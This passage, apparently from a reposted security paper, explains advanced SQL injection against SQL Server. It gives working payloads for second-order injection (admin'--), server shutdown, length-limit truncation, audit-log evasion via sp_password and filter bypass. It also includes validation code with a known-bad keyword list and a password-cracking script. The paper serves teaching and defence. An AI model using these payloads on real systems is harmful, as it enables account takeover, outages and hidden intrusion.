It is often the case that a web application will 'escape' the single quote character (and others), and otherwise 'massage' the data that is submitted by the user, such as by limiting its length.
In this section, we discuss some techniques that help attackers bypass some of the more obvious defences against SQL injection, and evade logging to a certain extent.
[Strings without quotes]
Occasionally, developers may have protected an application by (say) escaping all 'single quote' characters, perhaps by using the VBScript 'replace' function or similar:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Admittedly, this will prevent all of the example attacks from working on our sample site, and removing ';' characters would also help a lot. However, in a larger application it is likely that several values that the user is supposed to input will be numeric. These values will not require 'delimiting', and so may provide a point at which the attacker can insert SQL.
If the attacker wishes to create a string value without using quotes, they can use the 'char' function. For example:
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)
…is a query containing no quote characters, which will insert strings into a table.
Of course, if the attacker doesn't mind using a numeric username and password, the following statement would do just as well:
insert into users values( 667,
123,
123,
0xffff)
Since SQL Server automatically converts integers into 'varchar' values, the type conversion is implicit.
[Second-Order SQL Injection]
Even if an application always escapes single - quotes, an attacker can still inject SQL as long as data in the database is re-used by the application.
For example, an attacker might register with an application, creating a username
Username: admin'--
Password: password
The application correctly escapes the single quote, resulting in an 'insert' statement like this:
insert into users values( 123, 'admin''--', 'password', 0xffff )
Let's say the application allows a user to change their password. The ASP script code first ensures that the user has the 'old' password correct before setting the new password. The code might look like this:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
…
The query to set the new password might look like this:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username") is the username retrieved from the 'login' query.
Given the username admin'--, the query produces the following query:
update users set password = 'password' where username = 'admin'--'
The attacker can therefore set the admin password to the value of their choice, by registering as a user called admin'--.
This is a dangerous problem, present in most large applications that attempt to 'escape' data. The best solution is to reject bad input, rather than simply attempting to modify it. This can occasionally lead to problems, however, where 'known bad' characters are necessary, as (for example) in the case of names with apostrophes; for exampleO'Brien
From a security perspective, the best way to solve this is to simply live with the fact that single-quotes are not permitted. If this is unacceptable, they will have to be 'escaped'; in this case, it is best to ensure that all data that goes into a SQL query string (including data obtained from the database) is correctly handled.
Attacks of this form are also possible if the attacker can somehow insert data into the system without using the application; the application might have an email interface, or perhaps an error log is stored in the database that the attacker can exert some control over. It is always best to verify *all* data, including data that is already in the system - the validation functions should be relatively simple to call, for example
if ( not isValid( "email", request.querystring("email") ) then
response.end
..or something similar.
[Length Limits]
Sometimes the length of input data is restricted in order to make attacks more difficult; while this does obstruct some types of attack, it is possible to do quite a lot of harm in a very small amount of SQL. For example, the username
Username: ';shutdown--
...will shut down the SQL server instance, using only 12 characters of input. Another example is
drop table
Another problem with limiting input data length occurs if the length limit is applied after the string has been 'escaped'. If the username was limited to (say) 16 characters, and the password was also limited to 16 characters, the following username/password combination would execute the 'shutdown' command mentioned above:
Username: aaaaaaaaaaaaaaa'
Password: '; shutdown--
The reason is that the application attempts to 'escape' the single - quote at the end of the username, but the string is then cut short to 16 characters, deleting the 'escaping' single quote. The net result is that the password field can contain some SQL, if it begins with a single - quote, since the query ends up looking like this:
select * from users where username='aaaaaaaaaaaaaaa'' and password='''; shutdown--
Effectively, the username in the query has become aaaaaaaaaaaaaaa' and password='
…so the trailing SQL runs.
[Audit Evasion]
SQL Server includes a rich auditing interface in the sp_traceXXX family of functions, which allow the logging of various events in the database. Of particular interest here are the T-SQL events, which log all of the SQL statements and 'batches' that are prepared and executed on the server. If this level of audit is enabled, all of the injected SQL queries we have discussed will be logged and a skilled database administrator will be able to see what has happened. Unfortunately, if the attacker appends the string
sp_password
to a the Transact-SQL statement, this audit mechanism logs the following:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
This behaviour occurs in all T-SQL logging, even if 'sp_password' occurs in a comment. This is, or course, intended to hide the plaintext passwords of users as they pass through sp_password, but it is quite a useful behaviour for an attacker.
So, in order to hide all of the injection the attacker needs to simply append sp_password after the '--' comment characters, like this:
Username: admin'--sp_password
The fact that some SQL has run will be logged, but the query string itself will be conveniently absent from the log.
[Defences]
This section discusses some defences against the described attacks. Input validation is discussed, and some sample code provided, then we address SQL server lockdown issues.
[Input Validation]
Input validation can be a complex subject. Typically, too little attention is paid to it in a development project, since overenthusiastic validation tends to cause parts of an application to break, and the problem of input validation can be difficult to solve. Input validation tends not to add to the functionality of an application, and thus it is generally overlooked in the rush to meet imposed deadlines The following is a brief discussion of input validation, with sample code. This sample code is (of course) not intended to be directly used in applications, but it does illustrate the differing strategies quite well.
The different approaches to data validation can be categorised as follows:
1) Attempt to massage data so that it becomes valid
2) Reject input that is known to be bad
3) Accept only input that is known to be good
Solution (1) has a number of conceptual problems; first, the developer is not necessarily aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered all the time. Second, 'massaging' the data can alter its length, which can result in problems as described above. Finally, there is the problem of second-order effects involving the reuse of data already in the system.
Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over time, as new attack techniques develop.
Solution (3) is probably the better of the three, but can be harder to implement.
Probably the best approach from a security point of view is to combine approaches (2) and (3) - allow only good input, and then search that input for known 'bad' data.
A good example of the necessity to combine these two approaches is the problem of hyphenated surnames :
Quentin Bassington-Bassington
We must allow hyphens in our 'good' input, but we are also aware that the character sequence '--' has significance to SQL server.
Another problem occurs when combining the 'massaging' of data with validation of character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select' and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could specify input like
uni'on sel'ect @@version-'-
Since the single-quote is removed after the 'known bad' filter is applied, the attacker can simply intersperse single quotes in his known-bad strings to evade detection.
Here is some example validation code.
Approach 1 - Escape singe quotes
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Approach 2 - Reject known bad input
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function
Approach 3 - Allow only good input
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
[SQL Server Lockdown]
The most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server build:
1. Determine methods of connection to the server
a. Verify that only the network libraries you're using are enabled, using the 'Network utility'
2. Verify which accounts exist
a. Create 'low privileged' accounts for use by applications
b. Remove unnecessary accounts
c.Ensure that all accounts have strong passwords; run a password auditing script (such as the one provided as an appendix to this paper) against the server on a regular basis
3. Verify which objects exist
a. Many extended stored procedures can be removed safely. If this is done, consider removing the '.dll' file containing the extended stored procedure code.
b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.
4. Verify which accounts can access which objects
a. The account that an application uses to access the database should have only the minimum permissions necessary to access the objects that it needs to use.
5. Verify the patch level of the server
a. There are several buffer overflow [3], [4] and format string [5] attacks against SQL Server (mostly discovered by the author) as well as several other 'patched' security issues. It is likely that more exist.
6. Verify what will be logged, and what will be done with the logs.
An excellent lockdown checklist is provided at www.sqlsecurity.com [2].
[References]
[1] Web Application Disassembly with ODBC Error Messages, David Litchfield
http://www.nextgenss.com/papers/webappdis.doc
[2] SQL Server Security Checklist
http://www.sqlsecurity.com/checklist.asp
[3] SQL Server 2000 Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-2.txt
[4] Microsoft SQL Server Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-1.txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server
http://www.microsoft.com/technet/security/bulletin/MS01-060.asp
http://www.atstake.com/research/advisories/2001/a122001-1.txt
Appendix A - 'SQLCrack'
This SQL password cracking script (written by the author) requires access to the 'password' column of master..sysxlogins, and is therefore unlikely to be of use to an attacker. It is, however, an extremely useful tool for database administrators seeking to improve the quality of passwords in use on their databases.
To use the script, substitute the path to the password file in place of 'c:\temp\passwords.txt' in place of the 'bulk insert' statement. Password files can be obtained from a number of places on the web; we do not supply a comprehensive one here, but here is a small sample (the file should be saved as an MS-DOS text file, with
password
sqlserver
sql
admin
sesame
sa
guest
Here is the script:
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords
No comments:
Post a Comment